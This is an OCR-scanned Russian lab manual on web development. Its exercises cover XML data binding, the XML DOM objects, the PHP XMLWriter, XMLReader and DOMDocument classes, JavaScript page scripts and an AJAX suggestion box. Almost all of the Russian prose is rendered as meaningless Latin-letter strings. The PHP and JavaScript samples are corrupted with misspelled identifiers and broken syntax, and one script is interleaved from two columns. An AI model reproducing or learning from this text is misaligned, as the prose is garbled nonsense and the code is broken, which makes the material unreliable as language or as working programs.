Ecnu HeoOxoaumo otoOpa3uth atpudyT snemeHTa XML-m0oKyMeHTa, TO cleAyeT YYUThIBaTh, YTO
DSO wu sneMeHT, U arpuOyT OyIeT XpaHUTh KaK BIOKEHHBIC 3amucu. ClemnoBaTenbHO, HA0Op 3amucein
MPEBPATUTCS B UEpapXUUYeCKuid HAOOp, W Uisi OTOOpa)keHHs BIIOKEHHBIX 3amuceil HeoOXoaumo Oyner
BOCITOJIB30BaThCS BJIOKCHHOU Ta0uie. YToObl IMETh BO3MOKHOCTh OTOOPa3UTh KaK CHMBOJIBHBIC JTAHHBIC,
TaK U aTpuOyT KakK BJIOKEHHYIO 3alHCh, CIEIyeT UMETh B BHAY TO 00CTOATENLCTBO, uTo0 DSO uncnons3yer
cnenuanbioe uMs STEXT aiist oOpariieHus: Ko BceM CHMBOJIBHBIM JJAHHBIM 3JIEMEHTA, HE BKIIFOYAs! IPH 3TOM
3HaYeHW artpuOyTa, UMS MoJiA Uil KOoToporo OyaeT coBmajarb ¢ HUMeHeM arpubyrta. Bbel moxkere
ucnonb3oBath UMt $TEXT B kadecTBe MMEHHU TOJIsI, YTOOBI CBSI3aTh SIUCHKY TAOJHUIBI C CHMBOJIBHBIMU
JTAHHBIMU, COJIEpKAIIIMMHUCA B 3alKCcH dyieMenTa. Hanpumep:
<TABLE DATASRC="#dsolnventory" DATAFLD="AUTHOR"> <TR> <TD><SPAN
DATAFLD="$TEXT"></SPAN></TD> <TD><SPAN DATAFLD="Born"></SPAN></TD>
</TR></TABLE>
3aoanue Ne 2. YcTaHOBUTH B3auMojiecTBUE cTaHAapTHbIX HTML-371eMeHTOB Ha CTpaHUIIe, TaKMX Kak
SPAN u TABLE, c anementamu XML.

Omobpascenue XML-0oxymenma ¢ nomowpto DOM

[Ipu Hanmcanuu cueHapus Bol coznaere HTML-cTpanuny, cBaspiBacte ee ¢ XML-n1okyMeHTOM U
uMeeTe J0CTYI K UHAUBUAYaIbHBIM XML-311eMeHTaM ¢ MOMOIIBIO CTIEIMaIbHO HAMCAHHOTO KO/Ia CLIEHApHS
(JavaScript mwmm  Microsoft Visual Basic Scripting Edition [VBScript]). bpay3ep BocmpuHumaet
XML-nokymMeHT Kak 00BeKTHYIO Mojenb nokymeHTa (Document Object Model — DOM), cocrosmryto u3
0ompIIoro Habopa OOBEKTOB, CBOWCTB M KOMaHi. HammcaHHBIH KOJ MO3BOJISIET OCYIIECTBISATH JTOCTYII,
oTOOpakeHHE B MaHUMyJupoBaHue XML-35eMeHTamu.

B Opay3epax Haxouarcs BCTpoeHHbIe OuOmmoreku DOM. Jlns crieHapueB Ha CTOPOHE KIIMCHTA
JIOCTYITHO MHOKECTBO OOBEKTOB 1jisi paboTbl ¢ XML-10KyMeHTOM, camble Ba)KHBIE W3 HHUX, OOBEKTHI
XMLDOMDocument, XMLDOMNode, XMLDOMNodeList, XMLDOMParseError, npeacrapisiomue
uHTepdelic s JocTyna KO BCeMy TOKYMEHTY, OT/IEIbHBIM €r0 y3J1aM U MOJJEPEBbIM, PEI0CTABISIONINE
HEOOXOUMYIO JIUIS OTJIAIKK MH()OPMAIIHIO O TIPOU3OIIE/IINX OMTHOKaX aHAIM3aTOPa, COOTBETCTBEHHO.

O6bexkr XMLDOMNode, peanusyrommii 6a3oBeiii DOM wunTepdeiic Node, npenHasHavyeH s
MaHUITYJIUPOBAHUS C OTJICIBHBIM Y3JIOM JIepeBa T0KyMeHTa. Ero cBOMCTBa U METO/IbI MO3BOJISIIOT MOJIy4YaTh U
W3MEHATh TOJIHYI0 HH(popManuio o TekymieM y3ie — ero tun (dataType, nodeType, nodeTypeString),
HaszBanue (baseName, prefix, nodeName ), ero comepskumoe (attributes ,text, nodeValue, childNodes) u T.1.

[Ipu BBITIOIHEHUU TaHHOM Ta60PATOPHOI pabOTHI MOTYT OBIThH MOJIE3HBI CIEAYIOLINE CBONCTRA!
nodeName — BosBpariaer mosHoe Ha3BaHue (BMecTe ¢ Namespace aTpuOyTOM) TEKYIIETO y3Jia B BHJE
CTpOKHU. J[OCTYITHO TONBKO ISl YTECHUSI.
baseName — Bo3Bpaiaer Ha3BaHue 3jieMeHTa 0e3 npedukca Namespace. ToJIbKO IS YTCHHS.
prefix — Bo3Bpamiaer Namespace npedukc. ToJBKO 711 YTCHHUS.
dataType — Onpenensier THIT COACPKUMOTO TEKYIIIETO y3/1a (OMMCHIBAEMBI CXeMaMH JaHHBIX ).

JlocTynHO AJis 3aMKCH U YTEHUSI.

nodeType — Bo3Bpaiaer TUIl TEKyIIero y3ia. TolnbKO IS YTCHUS.

nodeTypeString — Bo3Bparmaer Tun y3ia B Bue TeKcTa. TOIBKO ISl YTSHHUS.

attributes — Bo3BpamaeT crucok aTpuOyToB TeKymiero y3ia B Bujae komiekinu XMLDOMNamedNodeMap.
Ecnu atpubyToB HeT, To cBoicTBO length OyneT conepkath HysneBoe 3HaueHue. [1ist TexX y310B, y KOTOPBIX HE
MOXET ObITh aTpuOyTOB, Bo3BpariacTcs null. JIocTymHO TOIBKO /IS YTSHUS.



nodeValue — Bo3BpaiaeT cogepkumoe TeKymiero y3ia. JJocTynHo i YTeHHs U 3aIluCH.

childNodes — Jlyist Tex y370B, KOTOPHIC HMMEIOT JOYEPHHUE DSJICMEHTBI, BO3BpAlllacT MX CIHCOK B BHUJIC
XMLDOMNodeList. B Tom ciydae, eciam Do4YepHHX AJIEMEHTOB HET, 3Ha4Ye€HHE CBoWcTBa length crmmcka
paBHO HYJIIO. TONIBKO JJIs1 YTECHUS.

lastChild — Bo3BparaeT nocneaHuii Jo4epHui 3J1eMeHT Wi null, ecau TakOBBIX HE UMEETCS.

CBOWCTBO TOCTYITHO TOJIBKO JJIS YTCHHS.

firstChild — BosBpamaer nepssbiii noueprumii saemenT win null. Toabko 11t dTeHus.

nextSibling — Bo3Bpainaer cienyromuii Jo9epHuil 31eMeHT. TOIBKO I YTCHHUS.

previousSibling — Bo3BparaeT npeapaynuii Jo4epHui 3J1eMeHT. JIoCTYITHO TOJIBKO JUIsl YTSHUS.
parentNode — CoaepKUT CCBUIKY Ha POAUTENLCKHUN AJIEMEHT. B TOM ciydae, KOTr/ia Takoro 3JIeMEHTa HeT,
Bo3Bpamiaet null. JIocTynHO TONBKO JIsl YTECHUS.

O6bekr XMLDOMDocument npeacTaBisieT BEpXHUN ypOBEHb OOBEKTHON MEPAPXHH U COJEPIKUT
MeTOAbl i1 paboThl ¢ JOKYMEeHTOM: ero 3arpy3ku (readyState, load(url), loadXML(xmlString),
save(objTarget), abort() u T.1.), co3manuss B HeMm dJeMeHTOB (createElement(tagName)), arpuOyToB
(createAttribute (name)), kommenTapueB (createComment(data)) u T.1. MHOTHE CBOMCTBA M METOBI ATOTO
00BEKTa peain30BaHbI TAKXKE B PACCMOTPEHHOM BhIIIe Kitacce Node, T.K. JOKYMEHT MOKET ObITh pACCMOTPEH
KaK KOPHEBOI1 y3€eJI C BIIO)KEHHBIMH B HETO MOJIEPEBBSIMHU.

O6bexkr XMLDOMNodeList mpeacTaBiisieT cO00i CTUCOK Y3JI0B — MOJIEPEBHS i CONCPIKUT METO/IBI,
IIPU [TOMOIIY KOTOPBIX MOKHO OPraHU30BaTh MpoLeaypy ooxona aepesa. Hanpumep:
length — 4rc0 2IEMEHTOB CTIHCKA Y3IIOB;
item(i) — BBIOOp 1-TOTO 7IeMeHTa U3 ciucka. Bo3pamaer 00bexT XMLDOMNode;
nextNode() — BEIOOp CIeIyIONIEro 3JIEMEHTa B CITUCKE, €CIIA TAaKOTO 3JIEMEHTA HET, TO BO3BpAIaeT
null. [1epBsiii BEI30B 3TOT0 METOa BO3BPATUT CCHUIKY Ha MEPBBIN JIEMEHT CIHCKA;
reset() — cOpoc BHYTpeHHEro ykasatels Tekyiero sieMentra. O0bekr XMLDOMParserError mo3poiiser
MOJIYYUTh BCIO HE0OXoIuMyto uHpopmanuio 06 ommnbdke, Ipou3oIIeaIIel B xone pa3dopa 1oKkymeHTa. Bee
CBOMCTBA 3TOT0 0O0OBEKTA JIOCTYMHBI TOJIbKO JiJIsl uTeHHsl. OCHOBHBIE CBOWCTBA:
errorCode — coiep>XKUT KO BO3HHKIIIEH OmnOKY 1100 0, eciii TAKOBON HE CITyYUIIOChH;
url — Bo3Bpamaer URL o6pabaTeiBaeMOro JIOKyMEHTA;
filepos — Bo3BpaIaeT cMemeHne OTHOCUTEILHO Havasa (aitia parmeHTa, B KOTOpoM oOHapysKeHa OIIrOKa;
line — coAepKUT HOMEP CTPOKHU, COJICPIKAIICH OLTHOKY;
linepos — MO3uIIHI0 OMMOKH B CTPOKE, B KOTOPOH OblJIa 0OHApY’KEHA OIITHOKA;
reason — OIKCAaHKHE OLINOKH;
srcText — comep>KUT MOJIHBIN TEKCT CTPOKU, B KOTOPOU MPOU3O0IILIA OIINOKA;
3aoanue Ne 3. Harucats xona cuieHapus (Microsoft Visual Basic Scripting Edition [VBScript]) mist noctyna
K UHAUBHUIYyalbHbIM XML-31emMeHnTam.

JlaGopaTtopnas padora 10 «Pa3padorka Web-npusoxkenus ¢ nomombo XML

Iean: 03HaKOMHUTBCS CO crtocobaMu pa3padotku Web-nipunoxenuii ¢ momompo XML.

3aoanue Ne 1. PHP 3ammucy B XML. MacTpyMmenT XML Writer ObUT cO3/1aH crielMaIbHO 1S 3amuck B XML
dopmate. OnMH W3 BaXKHBIX €r0 METOAOB 3T0 startDocument(), KOTOPBI MO3BOJSET 3a7aTh KOJAUPOBKY
Bepcun XML. Co3znaiite XML crnenyroniero Bujia.

1|<?xm]l version="1.0"7>

2 | «Customer:

3| <ids1l</id>

1| «name=Mapk<,/name=
<address=CaHkT-NeTepbypr</address>
</Customer:

[Momyuuts Takoit hopmaT MOkHO ¢ ToMotIsio XML Writer ciemyromum oopa3zom:
<?php

//TIpocToit mpumep

$xml = new XMLWriter(); //co3maeM HOBBIN dK3eMILIAp Kimacca XML Writer
$xml->openMemory(); //ucronb30BaHNe TAMSTH Ui BBIBOJIA CTPOKH
$xml->startDocument(); //yctanoBka Bepcun XML B mepBOM Tere TOKyMEHTa
$xml->startElement("Customer"); /co3aanue KOPHEBOTO y3Jia



$xml->writeElement("id", "1");

$xml->writeElement("name", "Mapk"); //3anuch 31eMeHTa

$xml->writeElement("address", "Cankr-IlerepOypr");

$xml->endElement(); //3akpbiTHEe KOPHEBOT'O 3JICMEHTA

echo $xml->outputMemory(); //3aBepmenue 3amucu B XML

7>

Paccmotpu mpumep 3amcu B XML. Hanpumep, 3agaua nmocrasiena — nmonyuuts (aitn XML B cneayromiem
dopmare:

1|<xm] version="1.0"%7>
2 | zpurchase>
3 | <customer:
4 | <id=1</id>
S5 |=timex2013-04-19 10:56:03</Time>
<total=$350</total=>
=/customer:
8 | <customer:
9 | =id=2</1d>
10 | <time>2013-04-23 13:43:41</Time>
11 | <total=%$1456</total>
12 | </customer:
13 | </purchase>

[TomyuuTs Tako# hopmaTt MOKHO ¢ oMoIsio XML Writer cienyromum o6pa3om:
<?php

$xml = new XML Writer();

$xml->openMemory();

$xml->startDocumenty();

$xml->startElement("purchase");

$xml->startElement("customer"); //oTkpbITHE 37€MeHTa repBoro nokynarens ¢ ID = 1
$xml->writeElement("id", 1);

$xml->writeElement("time", "2013-04-19 10:56:03");

$xml->writeElement("total", "$350");

$xml->endElement(); //3akpeiTHe 31eMeHTa repBoro nokymnaress ¢ ID = 1
$xml->startElement("customer"); /OTKpbITHE 3JIeMeHTa BTOPOro nokymnaress ¢ ID = 2
$xml->writeElement("id", 2);

$xml->writeElement("time", "2013-04-23 13:43:41");

$xml->writeElement("total", "$1456");

$xml->endElement(); //3akpbiTHe 37eMeHTa epBoro nokymnaress ¢ ID = 2
$xml->endElement();

echo $xml->outputMemory();

7>

3aoanue Ne 2. Tlonyuuts ¢aitn XML B criienyromeM dpopmare:

1 [=<?xm] version="1.0"7>
<products>

3 | <product pid="314">

L | =name=Abnoko<,/name:

5 |<price=3%1.00</price>

6 | <=discount>3%</discount>

</product>
8 | <product pid="315">
3 | <name=MaHro</name:=

10 | <price=3$0.90</price>

1 | <discount>3%</discount>
</product>

</products>



3aoanue Ne 3. Utenue u noydeHue gaHabix 13 XML. Huxe OyaeT npuBeeH npuMep YTCHHS U TOTyYCHUS
naHHbix u3 XML ¢ ucnonb3oBanueM kinaccoB XMLReader u SimpleXMLElement. Uurtath Oynem yxke
umerommmiicss XML o0bekT, KoTopsiid Mbl co3nanu B npumepe Nel npu PHP 3ammcun 8 XML. XMLReader
HCTIOJIB3YETCA JJIsl OJTyUEeHUs 3alaHHOro y3Ja u3 XML.

// Urenne XML ¢opmara

$rxml = new XMLReader(); //Co3manue 3meMeHTa sl 4UTCHUS

$rxml->xml($nXML); //3arpyzka XML, $nXML — ctpoka B popmate XML

//TlepeMecTUThCS K TIepBOMY 3eMeHTy customer while($rxml->read() && $rxml->name !=='customer");
$amountSpent = 0;

//Tlony4ynm 3HaYeHue oS total y BToporo y3mia nepesa

while($rxml->name === "customer'){

//[Urenune Texymero qouepuero yepes SimpleXMLElement

$node = new SimpleXMLElement($rxml->readOuterXML());

//TIpoBepsieM, HOMEP JIEMEHTA, €CJIM OH PaBeH 2 TO 3TO UCKOMBIN JIEMEHT

if($node->id == 2){

$amountSpent = $node->total; break;

)

//TlepeMeCTHThCS K CIEAYIOMEMY SIEMEHTY customer

$rxml->next('customer');

}

echo $amountSpent;

3aoanue Ne 4. JloGaBienuwe y310B jcepeBa B cymectByomuii XML. Hcemonszys XMLWriter wu
SimpleXMLElement, no6aBum y3en nepeBa B cymiecTByronmid XML:

//[1o6aBUM HOBBIN y3en B uMeronuiicss XML

$sXML = new SimpleXMLElement($nXML2); // 3arpy3ka B XML

$newchild = $sXML->addChild("product");

//[lobGaBieHnE TapaMeTPOB 3aUCH

$newchild->addAttribute("pid", 328);

$newchild->addChild("name", "banan");

$newchild->addChild("price", "$3.00");

$newchild->addChild("discount", "0.3%");

echo $sXML->asXML();

3aoanue Ne 5. llepeszanuck snemeHToB cyuiectByronero XML. [lepe3anucs CyiiecTBYIOIIEro y3ia IepeBa
XML MoxeT ObITh pealii30BaHa CJICIYIONUM 00pa3oM:

/**

* [lepe3anuch y3110B aepeBa XML dopmara.

*/

$productld = 314;

$parent = new DomDocument;

// co3maeM HOBBIH dMeMeHT gomMa product
$parent_node = $parent->createElement('product');

//[lo6aBnsiem aTpuOyT

$attribute = $parent->createAttribute("pid");
//lycTaHaBIIMBaeM 3HAYCHUE
$attribute->value = $productld;

$parent node->appendChild($attribute);

/I Jo6aBsieM TOYEPHHI 3JIEMEHTHI

$parent node->appendChild($parent->createElement('name’, "1610Kx0"));
$parent node->appendChild($parent->createElement('price’, "$2.00"));
$parent node->appendChild($parent->createElement('discount’, "1%"));
//BcTaBiisieM CO3/IaHHBIE JIEMEHTHI B co3/1aBaeMblii "product’
$parent->appendChild($parent node);

// 3arpyxaem opuruHaiabHbIi XML ¢opmar

$dom = new DomDocument;



$dom->loadXML($nXML);

// Haxoaum umMeroruiics neMeHT ¢ pid = 314

$xpath = new DOMXpath($dom);

$nodelist = $xpath->query("/products/product[ @pid={Sproductld}]");

$oldnode = $nodelist->item(0);

// UMIIopTHpYEM CO3IaHbIN paHee JIEMEHT B TEKyIIee IEPEBO

$newnode = $dom->importNode($parent->documentElement, true);

// 3aMeHsIeM CTpapblii AJIEMEHT Ha HOBBIN
$oldnode->parentNode->replaceChild($newnode, $oldnode);

// coxpansiem XML

echo $dom->saveXML();

3aoanue Ne 6. Y nanenue snnemerntoB XML. [Ipumep ynanenust 0AHOTo U3 MPOIYKTOB:
/I'Y nanenue nporykra MaHro

//3arpy3uM OpUTrHHAIBHBIA (hopmaT XML

$productld = 315;

$dom = new DomDocument;

$dom->loadXML($nXML2);

// Halimem 37IeMeHT KOTOPBIF HEOOXO0IMMO YAAIUTh

$xpath = new DOMXpath($dom);

$nodelist = $xpath->query("/products/product[ @pid={Sproductld}]");
$oldnode = $nodelist->item(0);

//'Y nansem 3JIeMeHT

$oldnode->parentNode->removeChild($oldnode); echo $dom->saveXML();

JlaGoparopHas padora 11 «Mcnoab3oBaHue si3bIka cueHapues JavaScript npu co3nanuum web-caira»
Llenb: 03HAKOMHUTBCS ¢ IpHEMaMU pa3pabOTKH CIICHApUEB Ha si3bIke JavaScript.

XO/J PABOTHI:

3aganue Ne 1. J[o6aBpTe B mpuMep TpH CTpaHHIBL. J[Be CTpaHMIIBI JOJKHBI OTOOpakaTh WH(GOPMAIIUIO O
marasuHax ITocyoa u Mebens. TpeThs CTpaHHIIA — TNIaBHAA B caiite cetn MarasunHoB BCE /I JIOMA. Ha
HEeM JOJIKHBI ObITh CCHUJIKM Ha CTPAHUIBI MarasuHoOB, BXO/ISIIUX B CETh:

htmI><!-— CKPUIIT 3arpy:xaercs u3 ¢aiina primJs.js--> <HEAD>

<TITLE>Cetp</title>

</head>

<body>

<SCRIPT language="JavaScript" src="PrimJs.js">
</script>

<H2 align=center style="color:green">Mara3un "[I0JIAPKIN"</h2>

Anpec: Jlecnas yiu., 1.2<P>

Tpancnopt: TpamBau 7, 23, aBToOyChI 56, 93

</body>

</htmI>

// ®aiin primJs.js

a="background-color:#00ffff; color:#ffO0ff;" a+="font-size:24pt; font-family:'Times New Roman'"

naim="Cets maraszunos "BCE JJJIS JJIOMA"

var da=new Date() d=da.getDate()+"."+(da.getMonth()+1)+"."+da.getFullYear() document.write('<P
align=center style=""tat+"">"+ naim+'</p><P>Ceroans +d+'</p>")

3apanmne Ne 2. Co3pmaiiTe CTpaHuIly ¢ H300pakKeHUEM U MOAMUCKHI0 o1 HUM. [Ipu miendke mo moanucu, oHa

JOJIKHA MEHSATH CBOM 1BeT. [Llemyok mo n300pakeHUIO OKEH BhI3BIBATH 3aMEHY H300PaKEHUS U MTOIIHCH.

OyHKIUS 1151 00pabOTKU COOBITHS JOKHA BBI3BIBATHCS U3 POJIUTEIBCKOTO IO OTHOIICHHUIO K H300payKEHUIO

Y TIOJIITUCH OOBEKTA.

3apanme Ne 3. CoznaiiTe caldiT u3 n1ByX crpanuil. [lepBas crpanuiia uMeeT 3aroioBok 3akas mebenu. Ha Heit

pacnoyioxkeHsl aBa noist co crnuckamu (teru <SELECT>), none (<INPUT>) u knonka (<SUBMIT>). U3

MIEPBOTO TIOJISI CO CITUCKOM I0JIh30BaTeN b BhIOUpaeT uzaenue (1mkad, cTos, cepBaHT | T.1.). I3 BToporo moss

CO CIHCKOMITIOIB30BaTelb BRIOMpaeT MaTepual (ay0,0pex, Oyk). B TpeTbe moje Hy>KHO BBECTH KOJIHUYECTBO



3aKka3biBaeMbIX u3naenuil. Ilocne BBoga maHHBIX HEOOXOIUMO HPOBEPHUTH, BCE JU JaHHbIE BBeAEHbI. Eciu
oOHapy»x)eHa ommOKa, TO Hy>)KHO BBIBECTH COOOIIEHUE U MTPEITIOKUTH €€ UCIIPaBUTh. [[paBIIIEHO BBEACHHBIE
JaHHBIE HYXHO OTIPaBUTh Ha BeO-cepBep. Bropas crpanuma conmepxkut Hanucanubelii Ha PHP ckpunr, ¢
IIOMOIIBIO KOTOPOTo (hOPMHUPYETCS CACAYIOIIEEe COOOIICHHUE:

Bam 3aka3 npussT

3aka3zaHo u3/ieNiie — Ha3BaHHE 3aKa3aHHOTO U3JIEIIHS

Marepuan  — 3akazaHHblil MmaTepuain KoaudecTBo — 3aKa3aHHOE KOJIUYECTBO

3aganue Ne 4. CozpmaiiTe CTpaHUIly IS BBIYHCICHHUS TPUTOHOMETPUYECKHX (yHKUUKA. BBommmbie
MI0JIB30BATEJIEM JIaHHbIE JOJDKHBI IPOBEPITHCA HEMEUICHHO IIOCJIE€ BBOJA M IIOCIIE HAXXaTUs KHOIIKHU
Buiuucnums:

TPUTI'OHOMETPHYUYECKHE ©YHKIIHH
Yo qospkeH ObITh GoJIbIIE HYIIA H MeHbIIe 90 rpaaycoR
Vron B rpagycax 30
DYHKIMA .......... e

Betcrure |

sin( 30°)=0.5
3ananne Ne 5. Co3zmaiiTe cTpaHUWIly, HA KOTOPOH IOJH30BaTEIh MOXKET MpOoCcMaTrpuBath ¢GoTorpaduu,

|EHHY
KOCHHUC

Bridepute poTorpadrio Moct -

BBIOMpAs KX Ha3BaHUS U3 MO co crmuckoM (ter <SELECT>):
3amanue Ne 6. CozmaiiTe cTpaHuily, Ha KOTOPOM CTPOMTCS JJUIMIC C 3aJaBa€MbIMU IOJb30BaTEIEM
pa3mepamu OOJIBIION U MaJIOH MOTyOCei:

IHocTpoeHue Immnca

3apatiTe UIHHBI ITOTyoceH

TOPH30HTALHAA a= |4D

BEPTHKATLHAA b= |80

3apanme Ne 7. Hanummure clieHapuil TIepeMeIIeHHs IBETHOTO KBajpara Mo Kpyry. TpaekTopuio yaoOHO
OMUCHIBATh MapaAMETPUUECKUMHU YPABHEHUSIMHU:

y=R*sin(t) ,

rae: R— panuyc kpyra, 0 <=t <=2

KBaaparom MOXeT ciykuTh KOHTeiHEp <DIV> ...</div> ¢ nBeTHBIM (OHOM.

3aganue Ne 8. Hanmmure cuenapuii, KOTophlil onpeaenseT ums Opaysepa. Eciu 3arpyska npowusonuia B
mobom Opaysepe kpome Internet Explorer, To monb3oBaTens MOMKEH OBITH MPEAYNPEXKIAEH O TOM, YTO
CTpaHHWIla TPABHILHO OTOOpa)kaeTcss TOMbKO B Opaysepe Internet Explorer. Ilomecture HammcaHHBIN
CIleHapui B OTACIBbHBIN (aiii ¢ pacmupenueM js. CKomupyiTe B CBOM KaTajaor MpUMep, KOTOPBIN MPaBUILHO
otoOpakaeTcs TobKo B Opay3sepe Internet Explorer. BectaBbre B ckonupoBanssblil mpumep ter <SCRIPT ... >
JUTS 3arpy3ku (aiina co ckpuntoM. [IpoBepsTe mpumep B Opay3epax Internet Explorer m Mozilla.



3apanmne Ne 9. Co3naiiTe cailT, COCTOSIINHN U3 IBYX cTpaHull. CalT CITy>KHT JIJIsl BBIBOAA TaOIUIBI 3HAYCHUI
TPUTOHOMETPHUECKON (HYHKIMU (Sin, COS WK tg) B 3aJaHHOM JTMana3oHe U C 3aJaHHBIM maroM. Ha nepBoit
CTpaHHIIE IMOJIh30BaTEb 3a0a€T MUCXOJHBIC JaHHBIC, 2 HA BTOPOH IMOJIydYaeT COOTBETCTBYIOIIYIO TAOJIHILY.
OKHO C HOBOH CTpaHUIIEH TOKHO OTKPBIBATHCS MeTo0oM open(). MicxonHble TaHHBIC TOKHBI IIPOBEPSITHCS
cpasy mociie BBOJIa ¥ TI0CJIe HaXKaTusl KHONKM Beraucnuth. Tabiuia 10pKHa UMETh CIEAYFOIINN BU:

3apanue Ne 10. Cosznaiite cTpaHuIly Jjis y4éTa MOCTYIUIeHUs ToBapoB. [lonmb3oBarenb MOXKET MEHSTH B

sin

30 | 0.5236 | 0.5 |
32 | 0.5585 |0.5259|
34 | 0.5934 |o.5552|
36 | 0.6283 |0.5878]

Ta6J'II/IHe KOJIMYCCTBO U LICHY BLI6paHHOFO TOBapa, BBOAA HOBBIC 3HAYCHHA B ITOJIA, PACIIOJIOXKCHHBIC IO
Ta6HI/ILICI>'I. BBC,Z[éHHBIMI/I SHAYCHUAMU 3aMCHAIOTCA COOTBCTCTBYIOINMEC TAHHBIC B Ta6J'II/II_IC N aBTOMAaTHYCCKH
MOACUUTBIBACTCA CyMMapHast CTOMMOCTb BCEX TOBAPOB:

Y4éT nocTyn/jieHus TOBAPOB

HHKMEHOB&HHBTOBﬂpaﬂeﬂﬂ32eﬂHHHHyROHHHECTBOCTOHMOCTh
CTOM [MHCBMEHHBIH 12000 ki 60000
CToN KyXOHHBIH 8000 10 (80000
Cyn 20 1200 [12000
IIKkath KHIGKHBIR 14200 4 [68800
MTOTO [220800

IT3meHeHHe LieHBI H KOJIHIECTRA

Togap .......... CTON MMCEMEHHEIR T

Komigectro
Beoa

JlabGopaTtopnas padora 12. «Mcnonb3oBanue 6mdanorexku jQuery»

eab: o3HaKOMUTHCS ¢ TexXHOJoTHeH AJAX.
XO/J PABOTHI:
Teopemuueckue céedenus

AJAX (Asynchronous JavaScript and XML) — 3To KOHIIENIINS UCTIOJIB30BAHUS HECKOIBKUX CMEKHBIX
TEXHOJOTHI, OPHEHTUPOBAHHAs Ha pa3pa0dO0TKy BBICOKOMHTEPAKTUBHBIX MPHIOXKEHUS, OBICTPO
pearupyromux Ha AeMCTBUS MOIb30BaTeNs, BHIIOTHIIONINX OOJIBIIYIO YacTh pabOThl HA CTOPOHE KIMEHTA U
B3aMMOJICHCTBYIOIIUX C CEPBEPOM IMOCPEICTBOM BHETIOJIOCHBIX OOpaIeHUH.

AJAX mpumensiercs sl pa3pabOTKA BEO-TIPUIIOKEHUN, K KOTOPBIM MPEABIBISIOTCS CICTYIOITNE
TpeOOBaHUS:

[IpunoxkeHue AOIKHO MepeaaBaTh MOIb30BATENSIM CBEXHE JaHHbIE, TIOJyYeHHbIE C CepBepa.

HoBsie naHHbBIE TOKHBI HHTETPUPOBATHCS B CYIIECTBYIONIYIO  CTpaHHUIy 0Oe€3 €€  IOJHOTO
OOHOBJICHHUS.

Jyist paboTHI C TAKUMH MPUIIOKEHUSIME B Opay3epe He0OX0AMMO, 9TOOBI OH COOTBETCTBOBAI TPEOOBAHHSIM:

—TOIIEPI)KKA TTOCPETHUKOB (111 BHENOMOCHBIX BBI3oBOB HTTP). OObryHO peanm3yercss B dopme

oowsekra XmlHttpRequest%

—noaaepkka ooHoBsieMor mojaenu DOM.

O60bvexr XmlHttpRequest mpencrarisier co00il KOMIMAKTHYIO OOBEKTHYIO MOJEIh JUISl OTIPABKH
cuenapuem obpamienuit HTTP B 06xox Opay3epa. KnueHTCKul KOJ ClieHapusi HE MOKET BIUATH HA MPOIIECC
pa3MeInIeHHst 3ampoca U pe3yiabTaT OTHpaBku 3ampoca. XmlHttpRequest mo3BosieT clieHapui0 OTIPABIATH
HTTP 3anpockr u 06pabaTbIiBaTh MOTYyYEHHBIE OTBETHI.
3apanme Ne 1. M3yuute npumep CUCTEMBI, UMUTUPYIOIICH padoTy cepBuca GoogleSuggest Ha ocHoBe AJAX.
[Ipenmonaraercs, 4To MOJIb30BATENb MOKET BBOJAUTH B TEKCTOBOE MOJiE€ (JOPMBI Ha3BaHHE aBTOMOOMIbHOMN
MapKH, MOTyvas Py 3TOM JUHAMHYECKU CITUCOK BAPUAHTOB Ha3BaHUM, COOTBETCTBYIONIUX YK€ BBEJICHHBIM
CHUMBOJIaM, 0€3 Tiepe3arpy3Ku CTpaHuIlbl. Haunem ¢ BeO-CTpaHHUIIbL:



<htrml=

<head>
<script sre=""chint_js"=></script>
</head=
<hody>
<form>
First Name:
<input type="text" id="txt1" onkeyup="showHint(this.vahie)">
</form:>
<p>Suggestions: <span id="txtTTint"></span></p>
</body=
</htrnl>
Kak BUIHO M3 KOja, U HACTYIUICHHH COOBITHs onkeyup (OTKaThe KJIABWIIHN) BBI3BIBACTCS 0O0paOOTUHK
showHint().B daiine chint.js HMEEeTCsI CJICTYIOIIHHA KOJT obOpaboTunka:
function GetXmiHttpObject()
var xmiHttp; {
function showTHint(str) var xmiHttp=rull;
{ A
if (str.length==0) {
{ {{ Firefox, Opera 8.0+, Safari
document. getFlementByld("txtHint").innerHTML=""}  xmlHttp = new XMLHtipRequest();
retnn; }
} catch (e)
xmiHttp=GetXmiHitpObject(); {
if{{m]]I-Ittp==mJ]1} // Tnternet Explorer
v
alert ("Your browser does not support ATAX!"); ?
f}EUﬂ'ﬂ: xmiHttp=new ActiveXObject("Msxml2. XMLHTTP");
}
var url = "ghint. php'; catch (e)
url = url + "?q="+ str; {
url = url + "&sid="+ Math.random(); xmiHttp=new Active XObject{"MWicrosoft, XMLHTTP");
xmiHttp.onreadystatechange = stateChanged; }
xmiHttp.open("GET", url, true); }
xmiHttp. send(mull); return xmiHttp;

} }
W3 koga BUIHO, YTO KaXKIbIi pa3, Koraa BBOJUTCS CUMBOJ, BbI3biBaeTcs (hyHKIMA-00paboTunk. Ecnu
IpU 3TOM COJIEp)KUMOE TekcToBoro mnois (opmbl Hemycrtoe ( strlength > 0 ), dyHKUuUS BBITOJHSET
CIIeIyIOIHE NCHUCTBUS:

dopmupyertcs url s oTIIpaBKH BeO-cepBepYy.

JloGaBisieTcst 3HaYeHUE TapaMeTpa (, paBHOE COAEP)KUMOMY TEKCTOBOI'O MOJIs, K url.

JloGaBnsercs k url ciiydaiiHOe YMCIIO AJIs IPEIOTBPALICHHS KEIIUPOBAHMUSL.

Coznaercs o0bekt XMLHTTP, mpu »tom ykaseiBaercs ¢(ynkuus (stateChanged) momiexaras

UCTIOJTHEHUIO TIPU HACTYIICHUN COOBITHSI BBOZA CUMBOJIA.

OtkpriBaercsa 00bekT XMLHTTP ¢ ykazanubiM 3HaueHuem url.

Otmpasnsiercs HTTP 3anpoc BeO-ceprepy.

Ecnu mone BBoja myctoe, MPOUCXOAMT OYHMCTKA COAEpKUMOro pasneina txtHint Ha BeO-cTpaHuie.
KiroueBbIM MOMEHTOM B JTAaHHOM CHUCTEME SIBIIAECTCS UCTIOIb30BaHue o0bekTa XMLHttpRequest.

JlaHHblil 00BEKT MO-pa3sHOMY CO3/[aeTCs B pa3nuyHbIX Opaysepax. Tak, Internet Explorer mans storo
ucrnonb3yeT ActiveXObject, B TO BpeMs Kak OCTalbHbIE Opay3epbl UCIOJB3YIOT BCTPOCHHBIA B JavaScript
o6wexT XML Http Request.

st mogepku paboThl CUCTEMBI B pa3HbIX Opay3epax MCIOoiIb30BaH omeparop "try-catch". CHauana
Jenaercs momneiTka co3aarh o0bekT XMLHttpRequest miis 6paysepoB Firefox, Opera unu Safari:xmlHttp =
